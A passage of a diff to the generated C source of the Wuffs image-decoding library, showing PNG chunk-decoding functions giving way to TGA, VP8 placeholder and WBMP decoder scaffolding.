wuffs_base__make_status(NULL); ++} + +- goto ok; +- ok: +- self->private_impl.p_decode_gama[0] = 0; +- goto exit; ++// -------- func tga.decoder.set_report_metadata ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_tga__decoder__set_report_metadata( ++ wuffs_tga__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func tga.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__tell_me_more( ++ wuffs_tga__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- goto suspend; +- suspend: +- self->private_impl.p_decode_gama[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; + ++ goto ok; ++ ok: + goto exit; + exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- + return status; + } + +-// -------- func png.decoder.decode_iccp ++// -------- func tga.decoder.workbuf_len + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_iccp( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_tga__decoder__workbuf_len( ++ const wuffs_tga__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_iccp[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} + +- while (true) { +- if (self->private_impl.f_chunk_length <= 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c == 0u) { +- break; +- } +- } +- if (self->private_impl.f_chunk_length <= 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- if (v_c != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); +- goto exit; +- } +- self->private_impl.f_metadata_is_zlib_compressed = true; +- self->private_impl.f_metadata_flavor = 4u; +- self->private_impl.f_metadata_fourcc = 1229144912u; +- self->private_impl.f_metadata_x = 0u; +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) + +- goto ok; +- ok: +- self->private_impl.p_decode_iccp[0] = 0; +- goto exit; +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) + +- goto suspend; +- suspend: +- self->private_impl.p_decode_iccp[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++// ---------------- Status Codes Implementations + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++// ---------------- Private Consts + +- return status; +-} ++// ---------------- Private Initializer Prototypes + +-// -------- func png.decoder.decode_plte ++// ---------------- Private Function Prototypes + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_plte( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++// ---------------- VTables + +- uint32_t v_num_entries = 0; +- uint32_t v_i = 0; +- uint32_t v_argb = 0; ++// ---------------- Initializer Implementations + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_vp8__placeholder__initialize( ++ wuffs_vp8__placeholder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- +- uint32_t coro_susp_point = self->private_impl.p_decode_plte[0]; +- if (coro_susp_point) { +- v_num_entries = self->private_data.s_decode_plte[0].v_num_entries; +- v_i = self->private_data.s_decode_plte[0].v_i; ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_chunk_length > 768u) || ((self->private_impl.f_chunk_length % 3u) != 0u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- v_num_entries = (((uint32_t)(self->private_impl.f_chunk_length)) / 3u); +- self->private_impl.f_chunk_length = 0u; +- while (v_i < v_num_entries) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { +- t_0 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); +- iop_a_src += 3; +- } else { +- self->private_data.s_decode_plte[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_plte[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 16) { +- t_0 = ((uint32_t)(*scratch >> 40)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- v_argb = t_0; +- } +- v_argb |= 4278190080u; +- self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); +- self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); +- self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); +- v_i += 1u; ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); + } +- while (v_i < 256u) { +- self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; +- v_i += 1u; ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } +- +- goto ok; +- ok: +- self->private_impl.p_decode_plte[0] = 0; +- goto exit; + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_plte[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_plte[0].v_num_entries = v_num_entries; +- self->private_data.s_decode_plte[0].v_i = v_i; ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ return wuffs_base__make_status(NULL); ++} + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++wuffs_vp8__placeholder* ++wuffs_vp8__placeholder__alloc(void) { ++ wuffs_vp8__placeholder* x = ++ (wuffs_vp8__placeholder*)(calloc(1, sizeof(wuffs_vp8__placeholder))); ++ if (!x) { ++ return NULL; + } +- +- return status; ++ if (wuffs_vp8__placeholder__initialize( ++ x, sizeof(wuffs_vp8__placeholder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; + } + +-// -------- func png.decoder.decode_srgb +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_srgb( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++size_t ++sizeof__wuffs_vp8__placeholder(void) { ++ return sizeof(wuffs_vp8__placeholder); ++} + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++// ---------------- Function Implementations + +- uint32_t coro_susp_point = self->private_impl.p_decode_srgb[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) + +- if (self->private_impl.f_chunk_length != 1u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length = 0u; +- self->private_impl.f_metadata_flavor = 5u; +- self->private_impl.f_metadata_fourcc = 1397901122u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t t_0 = *iop_a_src++; +- self->private_impl.f_metadata_x = t_0; +- } +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) + +- goto ok; +- ok: +- self->private_impl.p_decode_srgb[0] = 0; +- goto exit; +- } ++// ---------------- Status Codes Implementations + +- goto suspend; +- suspend: +- self->private_impl.p_decode_srgb[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++const char wuffs_wbmp__error__bad_header[] = "#wbmp: bad header"; ++const char wuffs_wbmp__error__truncated_input[] = "#wbmp: truncated input"; + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++// ---------------- Private Consts + +- return status; +-} ++// ---------------- Private Initializer Prototypes + +-// -------- func png.decoder.decode_trns ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__decode_trns( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++wuffs_wbmp__decoder__do_decode_image_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- uint32_t v_i = 0; +- uint32_t v_n = 0; +- uint64_t v_u = 0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_wbmp__decoder__do_decode_frame_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_wbmp__decoder__do_decode_frame( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); + +- uint32_t coro_susp_point = self->private_impl.p_decode_trns[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_decode_trns[0].v_i; +- v_n = self->private_data.s_decode_trns[0].v_n; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// ---------------- VTables + +- if (self->private_impl.f_color_type == 0u) { +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- if (self->private_impl.f_depth <= 8u) { +- self->private_impl.f_dst_pixfmt = 2164295816u; +- self->private_impl.f_src_pixfmt = 2164295816u; +- } else { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; +- } +- if (self->private_impl.f_chunk_length != 2u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length = 0u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint64_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_trns[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_trns[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 8) { +- t_0 = ((uint64_t)(*scratch >> 48)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- v_u = t_0; +- } +- if (self->private_impl.f_depth <= 1u) { +- self->private_impl.f_remap_transparency = (((v_u & 1u) * 16777215u) | 4278190080u); +- } else if (self->private_impl.f_depth <= 2u) { +- self->private_impl.f_remap_transparency = (((v_u & 3u) * 5592405u) | 4278190080u); +- } else if (self->private_impl.f_depth <= 4u) { +- self->private_impl.f_remap_transparency = (((v_u & 15u) * 1118481u) | 4278190080u); +- } else if (self->private_impl.f_depth <= 8u) { +- self->private_impl.f_remap_transparency = (((v_u & 255u) * 65793u) | 4278190080u); +- } else { +- self->private_impl.f_remap_transparency = ((v_u * 4295032833u) | 18446462598732840960u); +- } +- } else if (self->private_impl.f_color_type == 2u) { +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- if (self->private_impl.f_depth <= 8u) { +- self->private_impl.f_dst_pixfmt = 2164295816u; +- self->private_impl.f_src_pixfmt = 2164295816u; +- } else { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; +- } +- if (self->private_impl.f_chunk_length != 6u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length = 0u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint64_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { +- t_1 = ((uint64_t)(wuffs_base__peek_u48be__no_bounds_check(iop_a_src))); +- iop_a_src += 6; +- } else { +- self->private_data.s_decode_trns[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_trns[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 40) { +- t_1 = ((uint64_t)(*scratch >> 16)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } +- } +- v_u = t_1; +- } +- if (self->private_impl.f_depth <= 8u) { +- self->private_impl.f_remap_transparency = ((255u & (v_u >> 0u)) | +- (65280u & (v_u >> 8u)) | +- (16711680u & (v_u >> 16u)) | +- 4278190080u); +- } else { +- self->private_impl.f_remap_transparency = (v_u | 18446462598732840960u); +- } +- } else if (self->private_impl.f_color_type == 3u) { +- self->private_impl.f_dst_pixfmt = 2164523016u; +- self->private_impl.f_src_pixfmt = 2164523016u; +- if (self->private_impl.f_chunk_length > 256u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- v_n = ((uint32_t)(self->private_impl.f_chunk_length)); +- self->private_impl.f_chunk_length = 0u; +- while (v_i < v_n) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = t_2; +- } +- v_i += 1u; +- } ++const wuffs_base__image_decoder__func_ptrs ++wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_wbmp__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_wbmp__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_wbmp__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_wbmp__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_wbmp__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_wbmp__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_wbmp__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_wbmp__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_wbmp__decoder__initialize( ++ wuffs_wbmp__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; + } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } ++ } + +- goto ok; +- ok: +- self->private_impl.p_decode_trns[0] = 0; +- goto exit; ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_wbmp__decoder* ++wuffs_wbmp__decoder__alloc(void) { ++ wuffs_wbmp__decoder* x = ++ (wuffs_wbmp__decoder*)(calloc(1, sizeof(wuffs_wbmp__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_wbmp__decoder__initialize( ++ x, sizeof(wuffs_wbmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; + } ++ return x; ++} + +- goto suspend; +- suspend: +- self->private_impl.p_decode_trns[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_trns[0].v_i = v_i; +- self->private_data.s_decode_trns[0].v_n = v_n; ++size_t ++sizeof__wuffs_wbmp__decoder(void) { ++ return sizeof(wuffs_wbmp__decoder); ++} + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++// ---------------- Function Implementations ++ ++// -------- func wbmp.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_wbmp__decoder__get_quirk( ++ const wuffs_wbmp__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- return status; ++ return 0u; + } + +-// -------- func png.decoder.decode_frame_config ++// -------- func wbmp.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__decode_frame_config( +- wuffs_png__decoder* self, +- wuffs_base__frame_config* a_dst, ++wuffs_wbmp__decoder__set_quirk( ++ wuffs_wbmp__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func wbmp.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__decode_image_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); +@@ -56757,7 +70789,7 @@ wuffs_png__decoder__decode_frame_config( + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { ++ (self->private_impl.active_coroutine != 1)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -56766,17 +70798,17 @@ wuffs_png__decoder__decode_frame_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame_config(self, a_dst, a_src); ++ wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_image_config(self, a_dst, a_src); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); + goto exit; + } + status = v_status; +@@ -56784,14 +70816,14 @@ wuffs_png__decoder__decode_frame_config( + } + + ok: +- self->private_impl.p_decode_frame_config[0] = 0; ++ self->private_impl.p_decode_image_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + + goto exit; + exit: 